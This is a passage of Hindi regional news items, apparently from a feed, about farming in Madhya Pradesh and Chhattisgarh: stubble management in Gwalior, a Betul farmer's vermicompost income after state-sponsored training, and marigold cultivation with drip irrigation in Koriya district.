    ग्वालियर ही नहीं, श्योपुर आदि जिलों में अच्छी वर्षा की वजह से अन्य फसलों की बुवाई नहीं हो पाई, केवल धान की बुवाई हुई है। इस बार धान का रकबा करीब 15 हजार हेक्टेयर बढ़ गया है। धान की कटाई के बाद पराली जलाने की समस्या खड़ी होगी। इसलिए किसानों को हैप्पी सीडर मशीन से पराली का प्रबंधन व सीधे गेहूं की बुआई का प्रबंधन सिखाया जाएगा। – आरबीएस जाटव, उप संचालक, कृषि व किसान कल्याण विभाग, ग्वालियर

 

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किसानों को मिल रहा है कृषक प्रशिक्षणों का लाभ https://pratyushaashakinayikiran.com/?p=124822 Fri, 24 Jan 2025 09:56:00 +0000 https://pratyushaashakinayikiran.com/?p=124822 भोपाल

किसान कल्याण एवं कृषि विकास विभाग द्वारा किसानों को खेती की नवीनतम तकनीकों का प्रशिक्षण देकर खेती को लाभ का धंधा बनाने की दिशा में कारगर उपाय किए जा रहे हैं। आत्मा योजनांतर्गत कृषकों को अधिक उत्पादन के लिये प्रशिक्षण प्रदान किये जा रहे हैं। किसानों को राज्य से बाहर भी प्रशिक्षण के लिये भेजा जाता है। इस प्रशिक्षण का लाभ प्राप्त कर बैतूल जिले के किसान श्री लोकेश गावंडे प्रतिमाह 10 हजार रूपये का लाभ प्राप्त कर रहे हैं। उन्होंने बताया कि कृषि विभाग के अधिकारियों द्वारा उन्हें अकोला (महाराष्ट्र) भेजा गया था, जहां से उन्हें उन्नत तरीके से वर्मी कम्पोस्ट बनाने एवं मार्केटिंग के संबंध में प्रशिक्षण दिया गया। वे बताते हैं कि मेरे स्वयं के पास कम पशुधन होने के कारण मैं वर्मी कम्पोस्ट बनाने हेतु कच्चा माल (गोबर, कचरा) गांव एवं आसपास के गांव से खरीदकर खाद का निर्माण करता हूँ जिसकी लागत लगभग प्रति ट्राली 2000 रूपये होती है। इससे लगभग 10 क्विंटल वर्मी कम्पोस्ट तैयार होती है, जिसमें कुल खर्च 4000 रुपये होता है और 700 रुपये प्रति क्विंटल की दर से बेचने पर 7000 रुपये प्राप्त होते है। इस तरह एक माह में 3000 रुपये खाद से तथा 7000 रुपये केंचुआ विक्रय से प्राप्त हो रहे हैं।

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कोरिया जिले के किसान फूलों की खेती कर बनेंगे लखपति, पहली बार बड़ा प्रयोग किया जा रहा https://pratyushaashakinayikiran.com/?p=106693 Fri, 06 Dec 2024 09:06:00 +0000 https://pratyushaashakinayikiran.com/?p=106693 कोरिया

छत्तीसगढ़ के कोरिया जिले में गेंदा के फूलों की खेती करने का प्रयोग किया जा रहा है. पुष्प क्षेत्र विस्तार योजना के तहत 17 किसानों ने इस नई पहल को अपनाया और 10 हेक्टेयर भूमि पर गेंदा फूल की खेती की शुरुआत की. प्रति हेक्टेयर करीब 5,330 पौधे लगाए गए हैं, जो 65-70 दिनों में तैयार हो जाएंगे. अगर सबकुछ प्लानिंग के मुताबिक़ रहा तो जिले के किसान लाखों रुपये कमाएंगे.

कोरिया जिले में पहली बार गेंदा फूल की खेती का प्रयोग किया गया है, जो किसानों के लिए एक नई उम्मीद बनकर सामने आ रही है. गेंदा फूल की खेती में प्रति हेक्टेयर करीब 50,000 रुपए की लागत आई है. विशेषज्ञों के अनुसार अच्छी पैदावार के बाद प्रति हेक्टेयर 2 से 2.5 लाख रुपए तक का मुनाफा होने की संभावना है.

झरनापारा के किसान संजय पैकरा बताते हैं कि पहले धान और दलहन की खेती से मुश्किल से 25-30 हजार रुपए की आमदनी हो पाती थी. अब गेंदे की खेती और ड्रिप एरिगेशन तकनीक अपनाने के बाद 150-200 क्विंटल फूल उत्पादन की संभावना है, जिससे उनकी आय में काफी बढ़ोतरी होगी.

फसल चक्र में बदलाव से बढ़ेगी आय

ग्राम बुड़ार के किसान उदराज ने बताया कि पहले धान की खेती से मात्र 10-20 हजार रुपए तक का मुनाफा होता था. लेकिन अब ड्रिप एरिगेशन तकनीक के इस्तेमाल से वह 100-120 क्विंंटल फूल उत्पादन कर 50 हजार से 1.5 लाख रुपए तक कमा सकते हैं.

इसी तरह, ग्राम रनई की आशा देवी ने कहा कि पहले धान, दलहन और तिलहन की खेती से 20 हजार रुपए से ज्यादा की आमदनी नहीं हो पाती थी. अब गेंदा फूल की खेती से उनकी आय में 2 से 2.5 लाख रुपए तक की वृद्धि होने की उम्मीद है.

ड्रिप एरिगेशन से बेहतर उत्पादन

ड्रिप एरिगेशन तकनीक के इस्तेमाल ने न केवल पानी की खपत को नियंत्रित किया है, बल्कि उत्पादन क्षमता में भी वृद्धि की है. यह तकनीक पानी की बचत के साथ-साथ मेहनत को भी सार्थक बना रही है. उद्यानिकी विशेषज्ञों का कहना है कि गेंदे की खेती का यह प्रयोग अन्य किसानों के लिए प्रेरणा बनेगा.

किसानों की आर्थिक स्थिति में सुधार की उम्मीद

धान, दलहन और तिलहन जैसी पारंपरिक फसलों से सीमित आय प्राप्त करने वाले किसान अब गेंदा फूल की खेती को अपनाकर अपनी आर्थिक स्थिति सुधारने की दिशा में कदम बढ़ा रहे हैं. इस पहल ने फसल चक्र में बदलाव और आधुनिक तकनीकों के उपयोग का एक सफल उदाहरण पेश किया है.

 

 

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